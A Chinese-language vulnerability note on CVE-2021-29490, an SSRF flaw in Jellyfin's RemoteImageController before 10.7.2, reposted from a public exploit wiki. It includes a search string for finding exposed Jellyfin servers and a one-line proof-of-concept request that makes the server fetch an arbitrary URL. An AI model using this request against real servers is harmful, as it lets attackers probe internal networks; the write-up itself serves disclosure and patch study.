Jellyfin RemoteImageController.cs SSRF漏洞 CVE-2021-29490
Jellyfin RemoteImageController.cs SSRF漏洞 CVE-2021-29490
漏洞描述
Jellyfin RemoteImageController.cs 文件中存在SSRF漏洞,通过构造特殊的请求,探测内网信息
漏洞影响
Jellyfin < 10.7.2
网络测绘
app="Jellyfin"
漏洞复现
在官方的更新文件中,查找到修改的文件

官方删除了某个方法
function getDisplayUrl(url, apiClient) {
return apiClient.getUrl('Images/Remote', { imageUrl: url });
}
下载漏洞版本源码,查找该接口对应的文件
Jellyfin.Api/Controllers/RemoteImageController.cs
其中接收的参数为 imageUrl ,后续的代码片段存在SSRF漏洞

构造请求POC
/Images/Remote?imageUrl=http://www.baidu.com

参考来源:PeiQi-WIKI-Book:https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/f4596359a8b7b31ae4d231eeaec711706b892ed2/docs/wiki/webapp/Jellyfin/Jellyfin RemoteImageController.cs SSRF漏洞 CVE-2021-29490.md;原文完整保留。项目要求转载保留版权声明,未经许可不得修改或商用;多篇来源于第三方,权利待核查。